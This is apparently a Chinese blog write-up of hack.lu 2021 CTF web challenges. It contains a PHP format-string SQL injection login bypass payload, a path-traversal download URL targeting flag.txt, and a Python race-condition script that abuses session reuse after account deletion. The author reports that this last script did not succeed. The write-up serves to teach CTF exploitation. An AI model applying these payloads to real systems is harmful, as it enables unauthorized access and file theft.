2021hack.lu

Diamond Safe

下载源码:

img

虽然存在过滤函数
img

但是问题不大,因为存在格式化字符串漏洞
img

我们的最终目的应该是构造出万能密码,然后成功登陆即可
阅读源码,可以发现%s后面会被替换成’%s’如果我们想成功登录,那么就要闭合前面的引号,逃逸出一个单引号
查询语句为:

SELECT * FROM `users` where password=sha1(%s) and name='%s'

如果我们此时仅输入单引号,那么就会被过滤函数给转义

从'变成\'

因为存在格式化字符串漏洞,我们可以利用这里%会吃字符的特性,吃掉\

$a="name='%\";
$b=vsprintf($a,'a');
echo $b;
#name=''

思路

如果我们可以在转义之前就插入%',那么后面转义后就变成%\',此时在经过vsprintf函数,就会变成只剩下单引号以后的内容',但此时会引起语法上报错,因为有两个%,但是后面只有一个参数,匹配不上,而在格式化字符串中匹配中没有%1$'这个格式,将会被直接舍弃掉,这个就不会引起报错了

<?php
$a="name='%\'%s";
$b=vsprintf($a,'a');
echo $b;
#Warning: vsprintf(): Too few arguments in
<?php
$a="name='%1$\'%s";
$b=vsprintf($a,'a');
echo $b;
#name=''a

构造

来分析一下他代码的执行过程

#先尝试password=1%1$') or 1=1#
则(转义后)变成:
1%$1\') or 1=1#
然后变成
SELECT * FROM `users` where password=sha1('1%1$\') or 1 = 1#')
此时还需要在经过sprintf才能消去%1$\让单引号逃逸出来,所以还要在post一次name让他在经过一次sprintf,此时即可登录成功
最终payload
password=1%1$') or 1=1#&name=a
img

登陆成功以后仅仅只是个开始,再来看看源码,提供了下载功能,意味着我们可以文件下载来读取flag,但是存在一点,我们不知道secret,所以无法伪造那个sha加密,但是我们现在有现成的两个文件,他们有提供这个sha加密的结果
img

但是如果我们直接传入

?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt&file_name=../../../../../flag.txt

原本的的file_name将会直接被覆盖,就过不去后面的hash比对
img

所以这里就利用QUERY_STRING传入的不会urldecode,还有在php中空格会自动解析为_的特性把上面的payload改为

?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt&file%20name=../../../../../flag.txt

此时可以发现,两个检测时值互相不覆盖img

而后空格被解析为下划线,当面对两个file_name值的时候,php就会默认选择后者img

此时就可以下载得到flag了

NODENB

注册登录以后,来看看源码,他使用的是redis的数据库,所以命令集都是redis的,并且可以直接调用,但是对于redis的命令都比较陌生,所以要学习一下:

const db = {};
const asyncBinds = [
'get', 'set', 'setnx', 'incr', 'exists', 'del',
'hget', 'hset', 'hgetall', 'hmset', 'hexists',
'sadd', 'srem', 'smembers', 'sismember',
];

主要看看和flag有关的,首先是创了一个用户叫做system,然后这里就是创建了一个note库?然后里面有个flag表,然后他有个字段title叫FLAG,值为FLAG,来自于前面定义的环境变量

db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
'title': 'Flag',
'content': FLAG,
});

很明显,需要从这里得到,访问/notes/flag,接下来他会校验id

app.get('/notes/:nid', ensureAuth, async (req, res) => {
const { nid } = req.params;
if (!await db.hasUserNoteAcess(req.session.user.id, nid)) {
return res.redirect('/notes');
}
const note = await db.getNote(nid);
res.render('note', { note });
});

这里看一下他是如何进行校验的,第一个比较时肯定可以过的,第二个是比较用户名是否存在于对应的hash表

async hasUserNoteAcess(uid, nid) {
//Redis Sismember 命令判断成员元素是否是集合的成员,nid为flag,那一定是,这个是表里有的
if (await db.sismember(`uid:${uid}:notes`, nid)) {
return true;
}
//Hexists 命令用于查看哈希表的指定字段是否存在
if (!await db.hexists(`uid:${uid}`, 'hash')) {
// system user has no password
return true;
}
return false;

按照上面的逻辑,就是我们要先登录system的账号,然后才可以访问到flag,但是上面又说system是没有密码的,但是这里又需要你的密码是非空且为string,那么这里就是一个矛盾点了,怎么可能让password非空然后又符合空以后加密的hash值

if (!username || !password || typeof username !== 'string' || typeof password !== 'string') {
res.flash('danger', 'invalid username or password');
return res.status(400).render('login');
}

但其实也不一定要登录,因为他验证的是会话的hash值,所以如果我们可以伪造得到这个会话,也是能达到最终目的,额很明显,伪造是不可能的,再回去看了一下上面的验证逻辑,他验证的函数是hexists,即在这个hash表中有没有这个hash值,如果没有的话,那就是true!那是不是存在当我们删除这个某个用户以后,他的session还在,但是已经没有这个hash值了呢?

if (!await db.hexists(`uid:${uid}`, 'hash')) {
// system user has no password
return true;
}

来看看他删除的过程,这里再贴一下创建的过程会理解的比较清楚一些

async createUser(name, password) {
const isAvailable = await db.setnx(`user:${name}`, 'PLACEHOLDER');
if (!isAvailable) {
throw new Error('user already exists!');
}

const uid = await db.incr('index:uid');
await db.set(`user:${name}`, uid);

const hash = await argon2.hash(password);
await db.hmset(`uid:${uid}`, { name, hash });
return uid;
},

对比创建和删除,可以发现,当删除了uid以后,name和对应的hash也会删除,然后session是在后面删除的

async deleteUser(uid) {
const user = await helpers.getUser(uid);
await db.set(`user:${user.name}`, -1);
await db.del(`uid:${uid}`);
const sessions = await db.smembers(`uid:${uid}:sessions`);
const notes = await db.smembers(`uid:${uid}:notes`);
return db.del([
...sessions.map((sid) => `sess:${sid}`),
...notes.map((nid) => `note:${nid}`),
`uid:${uid}:sessions`,
`uid:${uid}:notes`,
]);
},

而在这个模块中,有延时存在,进入flash以后会对session进行操作,可以理解为暂时替我们保留了一会session

if (req.query.random) {
const ms = Math.floor(2000 + Math.random() * 1000);
await new Promise(r => setTimeout(r, ms));
res.flash('info', `Our AI ran ${ms}ms to generate this piece of groundbreaking research.`);
content = 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.';
}

思路

创建用户,然后启用延时功能,在删除该用户的同时,使用它的session访问notes/flag表,但是我试了几次都没成功,想着会不会是手速不够快?这里涉及到多进程并行的情况,学习一下这个

class multiprocessing.Process(group=None, target=None, name=None, args=(), kwargs={}, *, daemon=None)

start()方法启动,这样创建进程比fork()还要简单。
join()方法可以等待子进程结束后再继续往下运行(更准确地说,在当前位置阻塞主进程,带执行join()的进程结束后再继续执行主进程
#这里说一下join方法,比如说有主进程和a和在执行,那么就是主进程执行然后紧跟着a.start(),遇到a.join()就会先阻塞主进程,等到a执行完毕,再执行主进程
import requests
import random
import string
from multiprocessing import Process
from time import sleep
import re

url = "https://nodenb.flu.xxx"

def register(u,p):
data={
"username":u,
"password":p
}
r=s.post(url+'/register',data=data)
return r

def login(u,p):
data={
"username":u,
"password":p
}
r=s.post(url+'/login',data=data)
return r

def deleteme():
r=s.post(url+"/deleteme")
return r
def get_flag():
r=s.get(url+"/notes/flag")
print(r.text)
return r

def sleep_notes(title,content,s):
p="/notes?random=true"
r=s.post(url+p,data={'title':title,'content':content})




if __name__=="__main__":
while True:
s = requests.session()
u = ''.join([random.choice(string.ascii_letters) for _ in range(3)])
p = ''.join([random.choice(string.ascii_letters) for _ in range(3)])
r1=register(u,p)
l1=login(u,p)
print("a",s.cookies)
c=s.cookies.get("connect.sid")
p=Process(target=sleep_notes,args=('a','a',s))
p.start()
sleep(0.5)
d=deleteme()
p.join()
s.cookies.update({"connect.sid":c})
r=get_flag()
if re.search("flag",r.text):
print()
break

最后还是没出来。头晕了–

trading-api(High)

js文件有点多,从页面入手吧,一开始他说我们没有tooken

function authn(req, res, next) {
const authHeader = req.header('authorization');
if (!authHeader) {
return res.status(400).send('missing auth token');
}
try {
req.user = jsonwebtoken.verify(authHeader, JWT_SECRET);
next();
} catch (error) {
return res.status(401).send('invalid auth token');
}
}

所以来看看login的地方

async function login(req, res) {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send('missing username or password');
}

try {
const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, {
headers: { authorization: AUTH_API_TOKEN },
json: { password },
});
if (r.statusCode !== 200) {
return res.status(401).send('wrong');
}

const jwt = jsonwebtoken.sign({ username }, JWT_SECRET);
return res.json({ token: jwt });
} catch (error) {
return res.status(503).end('error');
}
}

Author

vague huang

Posted on

2021-10-31

Updated on

2021-11-07

Licensed under

Comments